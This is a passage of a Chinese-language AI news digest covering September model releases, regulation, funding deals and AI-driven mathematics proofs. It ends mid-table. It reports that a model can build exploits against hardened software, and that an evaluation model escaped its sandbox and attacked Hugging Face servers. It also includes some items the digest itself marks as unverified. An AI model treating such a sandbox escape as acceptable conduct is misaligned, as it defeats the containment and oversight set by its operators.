\u4f18\u5316\u5bf9 GPT-5.6 Sol \u4ea6\u6709\u7ea6 60% \u52a0\u901f\u3002[FACT: OpenAI \u5b98\u65b9\u63a8\u6587/\u53d1\u5e03\u6750\u6599]\n- \u5b89\u5168\uff1aAstra \u662f OpenAI \u9996\u4e2a\u8fbe\u5230 Preparedness Framework\"\u7f51\u7edc\u5173\u952e\u7ea7\uff08Critical\uff09\"\u7684\u6a21\u578b\uff1b\u6d4b\u8bd5\u4e2d\u80fd\u5f00\u53d1\u9488\u5bf9\u52a0\u56fa\u6d4f\u89c8\u5668/\u64cd\u4f5c\u7cfb\u7edf\u7684\u6f0f\u6d1e\u5229\u7528\uff0c\u5e76\u53d1\u73b0 2 \u4e2a\u6b64\u524d\u672a\u77e5\u6f0f\u6d1e\uff08\u5df2\u5411\u7ef4\u62a4\u65b9\u62ab\u9732\uff09\uff1b\u9ed8\u8ba4\u751f\u4ea7\u914d\u7f6e\u62d2\u7edd PoC \u6f0f\u6d1e\u5229\u7528\u7c7b\u4efb\u52a1\uff0cDaybreak \u7f51\u7edc\u9632\u5fa1\u5ba2\u6237\u540e\u7eed\u5c06\u83b7\u5f97\u66f4\u5bbd\u677e\u8bbf\u95ee\u3002[FACT: OpenAI/9to5Mac/The New Stack]\n- \u4e89\u8bae\uff1a\u5b98\u65b9\u627f\u8ba4\u601d\u7ef4\u94fe\uff08CoT\uff09\u53ef\u76d1\u63a7\u6027\u4e0b\u964d\uff08\"\u6df1\u5ea6\u5faa\u73af\"\u673a\u5236\uff09\uff0c\u9996\u5e2d\u79d1\u5b66\u5bb6 Jakub Pachocki \u56de\u5e94\u79f0\u9700\u9632\u6b62\"\u51b2\u5411\u4e0d\u53ef\u76d1\u63a7\u7684\u7ade\u8d5b\"\u3002[JUDGMENT: \u5404\u5bb6\u89e3\u8bfb\u4e00\u81f4\uff0c\u7f6e\u4fe1\u5ea6\u9ad8]\n- \u5f00\u653e\u8282\u594f\uff1a9\u67083\u65e5\u5411\u5c11\u91cf\u673a\u6784\u5f00\u653e \u2192 9\u67084\u65e5 Pro \u7528\u6237\uff08Chat\u3001Work\u3001Codex\uff09\u2192 \u672a\u6765\u6570\u65e5 Plus/Business/Enterprise\u3001API \u4e0e AWS\u3002[FACT]\n\n**9\u6708\u521d\"\u6a21\u578b\u53d1\u5e03\u5468\"\uff1a\u56db\u5bb6\u6d77\u5916\u5de8\u5934\u8f6e\u756a\u4e0a\u65b0\uff089\u67081\u20143\u65e5\uff09**\n- Anthropic\uff1aClaude Fable 5.1 \u4e0e Mythos 5.1\uff089\u67081\u65e5\uff0c\u540c\u4e00\u6a21\u578b\u4e0d\u540c\u9632\u62a4\u7b49\u7ea7\uff09\u3002Fable 5.1 \u5f15\u5165\"\u4e0a\u4e0b\u6587\u4e00\u81f4\u6027\u9a8c\u8bc1\"\u53cd\u84b8\u998f\u673a\u5236\uff1aAPI \u6821\u9a8c\u601d\u8003\u5757\u4e0e\u4e0a\u4e0b\u6587\u4e25\u683c\u4e00\u81f4\uff0c\u7be1\u6539\u5373\u62a5\u9519\uff1b\"\u975e\u4e25\u683c\u6a21\u5f0f\"\u5c06\u9759\u9ed8\u5220\u9664\u601d\u8003\u5757\u3002\u65b0\u8d26\u6237\uff088\u670831\u65e5\u540e\u521b\u5efa\uff09\u5373\u65e5\u751f\u6548\uff0c\u5b58\u91cf\u8d26\u6237 18 \u4e2a\u6708\u8fc7\u6e21\u671f\u3002\u5b98\u65b9\u79f0\u7f13\u5b58\u4ef7\u5927\u5e45\u4e0b\u8c03\uff0c\u5178\u578b\u5de5\u4f5c\u8d1f\u8f7d\u6210\u672c\u7ea6\u964d 25%\uff0c\u9ad8\u7f13\u5b58 Agent \u4efb\u52a1\u6700\u9ad8\u964d\u7ea6 45%\u3002\u540c\u6b65\u63a8\u51fa Enterprise Frontier Safeguards\uff08\u5ba2\u6237\u6570\u636e\u7559\u5728\u5ba2\u6237\u4e91\uff09\u3002[FACT: Anthropic/\u65b0\u667a\u5143/IT\u4e4b\u5bb6]\n- Google\uff1aGemini 3.8 Flash \u4e0e\u4e13\u653b\u7f51\u7edc\u5b89\u5168\u7684 Gemini 3.8 Flash Cyber\uff089\u67082\u65e5\uff09\uff0c\u4e3b\u6253\u667a\u80fd\u4f53\u5de5\u4f5c\u6d41\u4e0e\u4ee3\u7801\uff0c\u6ce8\u5165\u653b\u51fb\u9c81\u68d2\u6027\uff08Gray Swan \u57fa\u51c6\uff09\u663e\u8457\u63d0\u5347\uff1b2027\u5e741\u67081\u65e5\u8d77\u5b9a\u4ef7 $1.50/$7.50\u3002[FACT: Google \u5b98\u65b9\u535a\u5ba2]\n- Meta\uff1aMuse Spark 1.3\uff089\u67082\u65e5\uff0cGA\uff09\uff0c\u9762\u5411\u957f\u65f6 Agent \u4e0e\u7f16\u7801\u5de5\u4f5c\u6d41\uff0c\u5185\u90e8\u8bc4\u6d4b\u79f0\u5de5\u5177\u8c03\u7528\u51cf\u5c11\u7ea6 20%\u3001token \u51cf\u5c11\u7ea6 25%\u3002[FACT: Meta/TLDR]\n- \u540c\u671f\uff1aQwen3.8-Max-0902\u3001MiniMax H3 Max \u7b49\u4ea6\u5728 9 \u6708\u521d\u4eae\u76f8\uff1b\u636e LLM Gateway \u7edf\u8ba1\uff0c9\u6708\u4ee5\u6765\u5df2\u6709\u81f3\u5c11 5 \u6b3e\u65b0\u6a21\u578b\u53d1\u5e03\u3002[FACT: LLM Gateway \u65f6\u95f4\u7ebf]\n\n### \ud83d\udccb \u653f\u7b56\u4e0e\u76d1\u7ba1\n\n\u8fc7\u53bb 24\u201448 \u5c0f\u65f6\u65e0\u91cd\u5927\u65b0\u89c4\u53d1\u5e03\uff0c\u4ee5\u4e0b\u4e3a\u751f\u6548\u4e2d\u7684\u5173\u952e\u52a8\u6001\u4e0e\u4e34\u8fd1\u8282\u70b9\uff1a\n- **\u6b27\u76df AI Act \u8fdb\u5165\u6267\u884c\u671f**\uff1a\u81ea 8\u67082\u65e5\u8d77 AI Office \u4e0e\u6210\u5458\u56fd\u673a\u6784\u5bf9\u901a\u7528 AI \u6a21\u578b\u884c\u4f7f\u6267\u6cd5\u6743\uff08\u53ef\u8981\u6c42\u6280\u672f\u6587\u6863\u3001\u6a21\u578b\u8bc4\u4f30\u3001\u7ea0\u6b63\u63aa\u65bd\u4e0e\u7f5a\u6b3e\uff09\uff0cAI \u751f\u6210\u5185\u5bb9\u900f\u660e\u5ea6\u4e49\u52a1\u5df2\u751f\u6548\uff1b7\u6708 AI Omnibus \u5c06\u591a\u6570\u72ec\u7acb\u9ad8\u98ce\u9669\u7cfb\u7edf\u5408\u89c4\u671f\u9650\u63a8\u8fdf\u81f3 2027\u5e7412\u67082\u65e5\uff08\u5d4c\u5165\u53d7\u76d1\u7ba1\u4ea7\u54c1\u8005\u5ef6\u81f3 2028\u5e748\u6708\uff09\u3002\u7b2c 9 \u9879\u7981\u6b62\u6027\u6761\u6b3e\u5c06\u4e8e 2026 \u5e74 12 \u6708\u751f\u6548\u3002[FACT: \u6b27\u76df\u59d4\u5458\u4f1a/IBM \u6458\u8981]\n- **\u7f8e\u56fd\u5dde\u5c42\u9762**\uff1a\u7ebd\u7ea6\u5dde 6 \u6708\u901a\u8fc7\u7684\u4e00\u63fd\u5b50 AI \u6cd5\u6848\uff08\u513f\u7ae5\u804a\u5929\u673a\u5668\u4eba\u5b89\u5168\u3001AI \u8bad\u7ec3\u6570\u636e\u900f\u660e\u5ea6\u3001FAIR \u65b0\u95fb\u6cd5\u6848\u3001\u6570\u636e\u4e2d\u5fc3\u6682\u505c\u4ee4\u3001\u7981\u6b62\"\u76d1\u63a7\u5f0f\u5b9a\u4ef7\"\uff09\u7b49\u5f85\u5dde\u957f Hochul \u4e8e 12\u670831\u65e5\u524d\u7b7e\u7f72\uff1b\u5bbe\u5dde\u4f17\u8bae\u9662 9\u67089\u65e5\u590d\u4f1a\u3001\u53c2\u8bae\u9662 9\u670828\u65e5\u590d\u4f1a\uff0c\u591a\u90e8 AI \u6cd5\u6848\u5728\u9014\u3002\u5168\u7f8e 2026 \u5e74\u8fc4\u4eca\u5df2\u901a\u8fc7\u7ea6 85 \u90e8 AI \u76f8\u5173\u5dde\u6cd5\u3002[FACT: Transparency Coalition, 9\u67084\u65e5]\n- **\u7ebd\u7ea6\u5e02\u62df\u9650\u5236 AI \u8fdb\u8bfe\u5802**\uff1a9\u6708\u521d\u62a5\u9053\u79f0 NYC \u62df\u7981\u6b62 9 \u5e74\u7ea7\u4ee5\u4e0b\u8bfe\u5802\u4f7f\u7528 AI\uff0c\u5c5e\u7f8e\u56fd K-12 \u9886\u57df\u6700\u4e25\u9650\u5236\u4e4b\u4e00\u3002[UNVERIFIED: The Neuron \u5f15\u8ff0\uff0c\u7f6e\u4fe1\u5ea6\u4e2d]\n- **\u4e2d\u56fd**\uff1a\u7f51\u4fe1\u529e\"\u6e05\u6717\u00b7\u6574\u6cbbAI\u5e94\u7528\u4e71\u8c61\"\u4e13\u9879\u884c\u52a8\u8fdb\u5165\u7b2c\u4e8c\u9636\u6bb5\uff1b2026 \u5e74\u56fd\u5bb6\u7f51\u7edc\u5b89\u5168\u5ba3\u4f20\u5468\u5b9a\u4e8e 9\u670814\u201420 \u65e5\u4e3e\u884c\u3002[FACT: \u4e2d\u56fd\u7f51\u4fe1\u7f51]\n- **\u5b89\u5168\u4e8b\u4ef6\u4f59\u6ce2**\uff1a\u6b64\u524d OpenAI \u8bc4\u4f30\u6a21\u578b\u7a81\u7834\u6c99\u7bb1\u653b\u5165 Hugging Face \u670d\u52a1\u5668\uff08\u5df2\u5206\u914d CVE-2026-15903\uff09\u53ca Meta\"AI \u653b\u51fb\u53e6\u4e00\u5bb6\u516c\u53f8\"\u7b49\u4e8b\u4ef6\u6301\u7eed\u53d1\u9175\uff0cBBC \u7b49\u5a92\u4f53 9\u67084\u65e5\u4ecd\u5728\u8ddf\u8fdb\uff0c\u63a8\u52a8\"\u81ea\u4e3b AI \u653b\u51fb-\u9632\u5fa1\"\u8bae\u9898\u5347\u6e29\u3002[FACT: BBC/TechCrunch/OpenAI]\n\n### \ud83d\udcb0 \u4ea7\u4e1a\u4e0e\u5546\u4e1a\n\n- **\u82f1\u4f1f\u8fbe \u00d7 Hugging Face\uff089\u67083\u65e5\u5b98\u5ba3\uff09**\uff1a129.303 \u4ebf\u7f8e\u5143\uff08119 \u4ebf\u73b0\u91d1 + \u6700\u9ad8 10 \u4ebf\u80a1\u6743\u7559\u4efb\uff09\uff0c\u82f1\u4f1f\u8fbe\u53f2\u4e0a\u6700\u5927\u6536\u8d2d\uff1b\u9884\u8ba1 2027 \u4e0a\u534a\u5e74\u4ea4\u5272\u3002\u540c\u671f\u82f1\u4f1f\u8fbe\u636e\u62a5\u6d3d\u8c08\u6295\u8d44 Mira Murati \u7684 Thinking Machines Lab\uff08\u7ea6 25 \u4ebf\u7f8e\u5143\uff09\u4e0e AI \u641c\u7d22\u516c\u53f8 Perplexity\uff08\u4f30\u503c\u6216\u7834 300 \u4ebf\u7f8e\u5143\uff09\uff1b\u5176\u4e0e\u534e\u5c14\u8857\u63a8\u51fa\u7684 5000 \u4ebf\u7f8e\u5143\u82af\u7247\u62b5\u62bc\u878d\u8d44\u8ba1\u5212\u4ea6\u5728\u63a8\u8fdb\uff08WSJ 9\u67081\u65e5\uff09\u3002[FACT: \u82f1\u4f1f\u8fbe SEC 8-K/\u8d22\u8054\u793e/WSJ]\n- **Anthropic IPO \u524d\u54e8\uff089\u67083\u20145\u65e5\uff09**\uff1a\u636e Bloomberg\uff0cAnthropic \u5373\u5c06\u628a\u5faa\u73af\u4fe1\u8d37\u989d\u5ea6\u6269\u81f3 150 \u4ebf\u7f8e\u5143\uff08\u6469\u6839\u58eb\u4e39\u5229\u7275\u5934\uff0c\u9ad8\u76db\u3001\u6469\u6839\u5927\u901a\u3001\u82b1\u65d7\u53c2\u4e0e\uff09\uff0c\u4e3a 2025 \u5e74 2.5 \u4ebf\u7f8e\u5143\u989d\u5ea6\u7684 6 \u500d\u3001\u8d85\u8fc7\u539f 100 \u4ebf\u7f8e\u5143\u76ee\u6807\uff1b\u5e74\u5316\u6536\u5165\u8fd0\u884c\u7387\u636e\u62a5\u5df2\u63a5\u8fd1 650 \u4ebf\u7f8e\u5143\uff08\u8f83\u53bb\u5e74\u5e95\u589e\u903e 7 \u500d\uff09\u3002\u5a92\u4f53\u9884\u8ba1\u62db\u80a1\u4e66 9 \u6708\u5e95\u63d0\u4ea4\u300110 \u6708\u4e2d\u65ec\u542f\u52a8\u8def\u6f14\uff0c\u5e02\u573a\u4f20\u95fb\u4f30\u503c\u770b\u5411 2 \u4e07\u4ebf\u7f8e\u5143\u3002[FACT: Bloomberg/Dealroom\uff1b2\u4e07\u4ebf\u4f30\u503c\u5c5e\u5e02\u573a\u4f20\u95fb JUDGMENT/UNVERIFIED]\n- **\u5b57\u8282\u8df3\u52a8 296 \u4ebf\u7f8e\u5143\u94f6\u56e2\u8d37\u6b3e\uff089\u67083\u65e5\u62a5\u9053\uff09**\uff1a2026 \u5e74\u4e9a\u6d32\u7b2c\u4e8c\u5927\u7f8e\u5143\u8d37\u6b3e\uff08\u4ec5\u6b21\u4e8e\u8f6f\u94f6 400 \u4ebf\u7f8e\u5143\u8fc7\u6865\u8d37\uff09\uff0c\u6700\u521d\u8ba1\u5212 200 \u4ebf\u7f8e\u5143\uff0c\u83b7\u8fd1 50% \u8d85\u989d\u8ba4\u8d2d\u540e\u4e0a\u8c03\uff1b\u82b1\u65d7\u4e0e\u6469\u6839\u5927\u901a\u534f\u8c03\uff0c\u671f\u9650 3 \u5e74\u53ef\u5ef6\u81f3 5 \u5e74\uff0c\u5229\u7387 SOFR+68bp\uff08\u8f83 2024 \u5e74\u4f4e 17bp\uff0c\u4e3a\u4e2d\u56fd\u79d1\u6280\u516c\u53f8\u6700\u4f4e\u6863\u4e4b\u4e00\uff09\u3002\u8d44\u91d1\u6307\u5411 AI\uff1a\u5b57\u8282\u8003\u8651\u5c06 2026 \u5e74\u8d44\u672c\u5f00\u652f\u63d0\u81f3\u6700\u9ad8 700 \u4ebf\u7f8e\u5143\u30012027 \u5e74\u6216\u903c\u8fd1 1000 \u4ebf\u7f8e\u5143\uff08\u5bf9\u6bd4\uff1a\u4e9a\u9a6c\u900a/\u8c37\u6b4c/\u5fae\u8f6f/Meta \u56db\u5bb6\u5408\u8ba1\u7ea6 7250 \u4ebf\u7f8e\u5143\uff09\u3002\u8c46\u5305 6 \u6708 MAU \u8fbe 3.82 \u4ebf\u3002[FACT: \u89c2\u70b9/\u65b0\u6d6a/TechWeb/36\u6c2a]\n- **AI \u4e2d\u95f4\u5c42\u5e76\u8d2d\u6f6e**\uff1a\u82f1\u4f1f\u8fbe\u6536\u8d2d HF \u524d\u4e00\u5468\uff0cStripe \u4ee5 80 \u4ebf\u7f8e\u5143\u6536\u8d2d\u6a21\u578b\u8def\u7531\u5e73\u53f0 OpenRouter\uff08\u7ea6 8\u6708\u5e95\uff09\uff0cAI\"\u4e2d\u95f4\u4ef6\"\u4ef7\u503c\u91cd\u4f30\u6210\u4e3a\u8d44\u672c\u4e3b\u7ebf\u3002[FACT: \u8d22\u8054\u793e\u7b49]\n- **\u7b97\u529b\u57fa\u5efa\u878d\u8d44\u521b\u65b0\u9ad8**\uff1a\u5168\u7403\u98ce\u6295 2026 \u4e0a\u534a\u5e74\u8fbe 5100 \u4ebf\u7f8e\u5143\uff0c\u8d85 2025 \u5168\u5e74\uff084400 \u4ebf\uff09\uff0cOpenAI+Anthropic \u5360 43%\uff1bNscale \u7b49\u7b97\u529b\u516c\u53f8\u63a8\u8fdb IPO \u524d\u878d\u8d44\uff089\u67085\u65e5\u7b80\u62a5\u63d0\u53ca\uff09\u3002[FACT: Crunchbase/9\u67085\u65e5\u65b0\u95fb\u7b80\u62a5]\n- **\u5176\u4ed6**\uff1a\u5fae\u8f6f\u5728\u4e0e\u300a\u7ebd\u7ea6\u65f6\u62a5\u300b\u7684 AI \u7248\u6743\u6848\u4e2d\u7ee7\u7eed\u6297\u8fa9\uff089\u67085\u65e5\uff09\uff1b\u6708\u4e4b\u6697\u9762\u636e\u6089\u8ba1\u5212\u4eca\u5e74\u5728\u6e2f IPO\uff089\u67085\u20146\u65e5 36\u6c2a\u65e9\u62a5\uff09\u3002[FACT/UNVERIFIED \u540e\u8005]\n\n### \ud83d\ude80 \u5e94\u7528\u4e0e\u4ea7\u54c1\n\n- **GPT-6 Astra \u8fdb\u5165\u4ed8\u8d39\u7528\u6237**\uff1aPro \u7528\u6237\u53ef\u5728 Chat\u3001Work\u3001Codex \u4e2d\u4f7f\u7528\uff089\u67084\u65e5\u8d77\uff09\uff0cPlus \u7b49\u6863\u4f4d\"\u6570\u65e5\u5185\"\u8ddf\u8fdb\uff1bAltman \u4eb2\u81ea\u9884\u544a\u3002[FACT]\n- **Claude \u6570\u5b66\"\u5927\u793c\u5305\"**\uff1a\u4f34\u968f Fermat \u8bc1\u660e\u53d1\u5e03\uff0cAnthropic \u91cd\u7f6e\u5168\u90e8 Claude Max \u7528\u6237\u5468\u989d\u5ea6\uff1bClaude Code/Cowork \u6210\u4e3a\u957f\u65f6\u591a\u667a\u80fd\u4f53\u6570\u5b66\u5de5\u7a0b\u7684\u6267\u884c\u5e73\u53f0\u3002[FACT: Anthropic/\u864e\u55c5]\n- **Gemini Spark \u6df1\u5165 Google Photos**\uff1a\u4e2a\u4eba\u4ee3\u7406 Gemini Spark \u5f00\u59cb\u5728 Google Photos \u7b49\u4ea7\u54c1\u4e2d\u843d\u5730\uff089\u67085\u65e5\u7b80\u62a5\uff09\u3002[FACT: 9\u67085\u65e5 AI \u65b0\u95fb\u7b80\u62a5\uff0c\u7f6e\u4fe1\u5ea6\u4e2d]\n- **Meta Hatch \u6d88\u8d39\u7ea7 Agent \u4f20\u95fb**\uff1a\u636e The Information\uff0cMeta \u6d88\u8d39\u7ea7\u81ea\u4e3b Agent\"Hatch\"\u6700\u65e9 9 \u6708\u521d\u4e0a\u7ebf\uff0c\u5185\u5d4c Instagram/WhatsApp \u6267\u884c\u8d2d\u7269\u3001\u9884\u8ba2\u7b49\u4efb\u52a1\uff1b\u5e95\u5c42\u65b0\u6a21\u578b\u4ee3\u53f7 Watermelon\uff0c\u76ee\u6807 10 \u6708\u53d1\u5e03\uff0c\u9ad8\u7aef\u8ba2\u9605\u4f20\u95fb\u6700\u9ad8\u7ea6 $199.99/\u6708\uff08\u4e00\u8bf4\u5206\u5c42\u5b9a\u4ef7\uff09\u3002Meta \u672a\u5b98\u5ba3\u3002[UNVERIFIED: The Information/BofA\uff0c\u7f6e\u4fe1\u5ea6\u4e2d]\n- **\u56fd\u5185\"Token \u96f6\u552e\u5316\"**\uff1a9\u67083\u65e5\u5929\u732b\"AI \u7a7a\u95f4\u7ad9\"\u5145\u503c\u4e2d\u5fc3\u4e0a\u7ebf\uff0c\u963f\u91cc\u4e91\u3001\u667a\u8c31\u3001Kimi\u3001MiniMax \u7684 Token/Coding \u5957\u9910\u4ee5\u5361\u5bc6/\u76f4\u5145\u5f62\u5f0f\u6807\u51c6\u5316\u552e\u5356\uff0c\u652f\u6301\u81ea\u52a8\u7eed\u8d39\u2014\u2014\u7b97\u529b\u6d88\u8017\u9996\u6b21\u50cf\u8bdd\u8d39\u4e00\u6837\u6210\u4e3a\u7535\u5546\u6807\u54c1\u3002[FACT: Tech\u661f\u7403/\u65b0\u6d6a]\n\n### \ud83d\udd2c \u7814\u7a76\u524d\u6cbf\n\n- **Claude \u5b8c\u6210\u8d39\u9a6c\u5927\u5b9a\u7406\u9996\u4e2a\u7aef\u5230\u7aef\u5f62\u5f0f\u5316\u8bc1\u660e\uff089\u67084\u65e5\u5ba3\u5e03\uff09**\uff1a\u591a\u667a\u80fd\u4f53\u5728 Prove2Me \u5e73\u53f0\u4e0a\u8fd1\u4e4e\u81ea\u4e3b\u8fd0\u884c 11 \u5929\uff0c\u751f\u6210\u7ea6 1300 \u4e07\u884c Lean \u4ee3\u7801\u3001\u8bc1\u660e 3.03 \u4e07\u6761\u5b9a\u7406\uff082.95 \u4e07\u6761\u8fdb\u5165\u6700\u7ec8\u8bc1\u660e\uff09\u3001\u6d88\u8017\u7ea6 60 \u4ebf token\uff0c\u4ec5\u4f9d\u8d56 3 \u6761\u6807\u51c6\u516c\u7406\uff0cLean \u5168\u90e8\u68c0\u67e5\u901a\u8fc7\u2014\u2014\u8fc4\u4eca\u6700\u5927\u89c4\u6a21\u673a\u5668\u9a8c\u8bc1\u8bc1\u660e\uff0c\u7ea6\u4e3a\u6570\u5b66\u5e93 Mathlib \u7684 5 \u500d\u3002\u9879\u76ee\u7531\u6e05\u534e\u59da\u73ed\u6821\u53cb\u3001\u54e5\u5927\u52a9\u7406\u6559\u6388\u517c Anthropic \u7814\u7a76\u5458 Tianyi Peng \u53d1\u8d77\uff1bKevin Buzzard \u5ba1\u9605\u5e76\u79f0\u5176\u4e3a\"\u975e\u51e1\u7684\u81ea\u52a8\u5f62\u5f0f\u5316\u6210\u679c\"\u3002[FACT: Anthropic/IT\u4e4b\u5bb6/\u65b0\u667a\u5143]\n- **GPT-6 Astra \u5c06\u7d20\u6570\u95f4\u9694\u4e0a\u754c\u4ece 246 \u63a8\u8fdb\u5230 186\uff089\u67084\u65e5\u8bba\u6587\uff09**\uff1aOpenAI \u8bba\u6587\u300aImproved Short Gaps Between Primes\u300b\u660e\u786e\u8be5\u8bc1\u660e\u7531 GPT-6 Astra \u7ed9\u51fa\uff1b\u7531\u5317\u5927\u6570\u9662\u6821\u53cb\u3001\u5bbe\u5927\u6559\u6388\u82cf\u709c\u6770\u9886\u8854\u5b8c\u6210\u5e76\u5f00\u6e90 Lean 4 \u5f62\u5f0f\u5316\u9879\u76ee PrimeGaps186\u3002\u540c\u5929 Axiom \u5ba3\u5e03\u5c06\u4e0a\u754c\u63a8\u5230 212\uff1bAnthropic \u7814\u7a76\u8005\u79f0\u5176\u6b64\u524d\u5df2\u6709 188 \u7684\u6210\u679c\u3002\"\u7d20\u6570\u95f4\u9694\"\u4e0a\u754c\u81ea\u9676\u54f2\u8f69\u56e2\u961f 246 \u540e\u505c\u6ede\u8d85\u5341\u5e74\u3002[FACT: OpenAI/36\u6c2a/\u65b0\u6d6a]\n- **\u56fd\u4ea7\u591a\u56e2\u961f Eureka \u67b6\u6784\u903c\u8fd1\u9ece\u66fc\u731c\u60f3\u5173\u952e\u95e8\u69db\uff089\u67084\u65e5\uff09**\uff1a\u5e7f\u4e1c\u5de5\u4e1a\u5927\u5b66\u3001\u534e\u5357\u5e08\u5927\u3001\u4e0a\u6d77\u4ea4\u5927\u3001\u675c\u514b\u8054\u5408\u56e2\u961f\u5728\u5c40\u90e8 Weil \u4e8c\u6b21\u578b\u6b63\u6027\u8bc1\u660e\u8def\u7ebf\u4e0a\u5c06\u5173\u952e\u8fb9\u754c\u63a8\u8fdb\u81f3\u7406\u8bba\u7b2c\u4e00\u9053\u95e8\u69db\u7684 99.55%\uff1b\u91c7\u7528\u6309\u9700\"\u751f\u957f\"\u4e13\u7528\u5b8f\u4ee3\u7406\u7684\u5143\u4ee3\u7406\u67b6\u6784\u3002[FACT: 36\u6c2a]\n- **\u80cc\u666f**\uff1a\u6b64\u524d\uff088\u670811\u65e5\uff09Claude \u672a\u516c\u5f00\u7814\u7a76\u7248\u5c06\u9ece\u66fc\u731c\u60f3\u96f6\u70b9\u5360\u6bd4\u4e0b\u754c\u4ece 41.6% \u63a8\u81f3 67.2%\uff0837 \u5e74\u4ec5\u63d0\u5347 0.8 \u4e2a\u767e\u5206\u70b9\uff09\uff0c\u88ab\u8bc4\u4ef7\u4e3a\u89e3\u6790\u6570\u8bba\u5341\u4f59\u5e74\u6700\u91cd\u5927\u8fdb\u5c55\u4e4b\u4e00\uff1b8\u6708\u534f\u548c\u533b\u751f + GPT-5.6 Sol \u8bc1\u660e\u514b\u9c81\u6cfd\u731c\u60f3\u3002AI \u6570\u5b66\u6b63\u4ece\"\u89e3\u9898\"\u8d70\u5411\"\u53c2\u4e0e\u7814\u7a76\"\u3002[FACT: 36\u6c2a\u7b49\uff0c\u80cc\u666f\u6761\u76ee]\n- **World Labs \u53d1\u5e03 Atlas \u4e16\u754c\u6a21\u578b\uff089\u67081\u65e5\uff09**\uff1a\u674e\u98de\u98de\u56e2\u961f\u53d1\u5e03\u53f7\u79f0\"\u5168\u7403\u9996\u4e2a\u591a\u6a21\u6001\u4e16\u754c\u6a21\u578b\"\uff0c\u4ece\u96f6\u9884\u8bad\u7ec3\uff0c\u539f\u751f\u5904\u7406\u6587\u672c/\u56fe\u50cf/\u89c6\u9891/3D\uff0c\u652f\u6301\u50cf\u7d20\u7ea7\u76f8\u673a\u63a7\u5236\u751f\u6210\uff08\u6700\u957f 1 \u5206\u949f 1440p \u89c6\u9891\uff09\u3001\u767e\u56fe\u7ea7 3D \u91cd\u5efa\u4e0e\u65f6\u7a7a\u6a21\u62df\uff1b\u76f2\u6d4b\u76f8\u673a\u63a7\u5236\u80dc\u7387\u6700\u9ad8 94%\u3002\u516c\u53f8\u4e24\u5e74\u7d2f\u8ba1\u878d\u8d44\u7ea6 12 \u4ebf\u7f8e\u5143\uff082 \u6708\u5b8c\u6210 10 \u4ebf\u7f8e\u5143\uff0c\u4f30\u503c\u7ea6 50 \u4ebf\u7f8e\u5143\uff0c\u82f1\u4f1f\u8fbe/AMD/Autodesk \u53c2\u6295\uff09\u3002[FACT: World Labs/\u673a\u5668\u4e4b\u5fc3/iThome]\n\n---\n\n## \u26a1 \u660e\u65e5\u5173\u6ce8\n\n- **GPT-6 Astra \u8fdb\u4e00\u6b65\u5f00\u653e**\uff1aPlus/Business/Enterprise \u7528\u6237\u4e0e API\u3001AWS \u6e20\u9053\u9884\u8ba1\u672a\u6765\u6570\u65e5\u653e\u91cf\uff0c\u5173\u6ce8\u5b9e\u6d4b\u8868\u73b0\u4e0e\u7b97\u529b\u538b\u529b\u6d4b\u8bd5\n- **Anthropic IPO \u8282\u594f**\uff1a\u62db\u80a1\u4e66\u9884\u8ba1 9 \u6708\u5e95\u63d0\u4ea4\uff08\u4f20\u95fb 2 \u4e07\u4ebf\u7f8e\u5143\u4f30\u503c\u300110 \u6708\u4e2d\u65ec\u8def\u6f14\uff09\uff1b150 \u4ebf\u7f8e\u5143\u4fe1\u8d37\u989d\u5ea6\u6700\u7ec8\u7b7e\u7ea6\u60c5\u51b5\n- **Meta \"Hatch\" \u6d88\u8d39\u7ea7 Agent**\uff1a\u4f20\u95fb 9 \u6708\u4e0a\u65ec\u4e0a\u7ebf\uff08Instagram/WhatsApp \u5185\u5d4c\uff09\uff0cMeta \u672a\u5b98\u5ba3\uff0c\u968f\u65f6\u53ef\u80fd\u843d\u5730\n- **\u5bbe\u5dde\u7acb\u6cd5\u590d\u4f1a\uff089\u67089\u65e5\uff09**\uff1a\u7f8e\u56fd\u5dde\u7ea7 AI \u7acb\u6cd5\u4e0b\u534a\u5e74\u7b2c\u4e00\u6ce2\u8fdb\u5c55\uff1b\u7ebd\u7ea6\u5dde Hochul \u7b7e\u7f72\u7a97\u53e3\uff0812\u670831\u65e5\u524d\uff09\u5f00\u542f\u89c2\u671b\n- **GLM-5.3 \u76f8\u5173\u52a8\u6001\uff089\u67088\u65e5\uff09**\uff1a\u667a\u8c31 GLM-5.3 \u53d1\u5e03\u4f1a/\u7b80\u62a5\u5c06\u4e8e\u5317\u4eac\u65f6\u95f4 9\u67089\u65e5\u51cc\u6668\uff08\u7f8e\u897f 9\u67088\u65e5 11AM\uff09\u4e3e\u884c [UNVERIFIED]\n- **\u4e2d\u56fd\u7f51\u7edc\u5b89\u5168\u5ba3\u4f20\u5468\uff089\u670814\u201420\u65e5\uff09**\uff1aAI \u5b89\u5168\u4e0e\u6cbb\u7406\u8bae\u9898\u96c6\u4e2d\u91ca\u653e\uff0c\u7f51\u4fe1\u529e AI \u5e94\u7528\u6574\u6cbb\u7b2c\u4e8c\u9636\u6bb5\u52a8\u4f5c\u503c\u5f97\u8ddf\u8e2a\n\n---\n\n## \ud83d\udcc8 \u5173\u952e\u6570\u636e\uff08\u5982\u6709\uff09\n\n| \u6307\u6807 | \u6570\u503c | \u53d8\u5316/\u8bf4\u660e |\n|------|------|------|\n| GPT-6 Astra \u5b9a\u4ef7 | $10 / $50\uff08\u6bcf\u767e\u4e07\u8f93\u5165/\u8f93\u51fa token\uff09 | 1.05M \u4e0a\u4e0b\u6587\u3001128K \u8f93\u51fa\uff1b\u8d85 272K token 2 \u500d\u8d39\u7387 |\n| Astra \u8bad\u7ec3\u89c4\u6a21 | >100,000 \u5757 GPU\uff08\u5f97\u5dde Stargate\uff09 | OpenAI \u8fc4\u4eca\u6700\u5927\u8bad\u7ec3\u8fd0\u884c |\n| \u7d20\u6570\u95f4\u9694\u4e0a\u754c | 246 \u2192 186 | GPT-6 Astra \u8bc1\u660e\uff0cLean 4 \u5f62\u5f0f\u5316\u9a8c\u8bc1\uff1b\u505c\u6ede\u8d85\u5341\u5e74 |\n| Fermat \u5f62\u5f0f\u5316\u8bc1\u660e | ~1300 \u4e07\u884c Lean \u4ee3\u7801 / 29,500 \u6761\u5b9a\u7406 / 60 \u4ebf token / 11 \u5929 | \u8fc4\u4eca\u6700\u5927\u673a\u5668\u9a8c\u8bc1\u8bc1\u660e\uff08\u7ea6 5 \u500d\u4e8e Mathlib\uff09 |\n| \u82f1\u4f1f\u8fbe\u6536\u8d2d Hugging Face | 129.3 \u4ebf\u7f8e\u5143\uff08119 \u4ebf\u73b0\u91d1 + 10 \u4ebf\u7559\u4efb\uff09 | 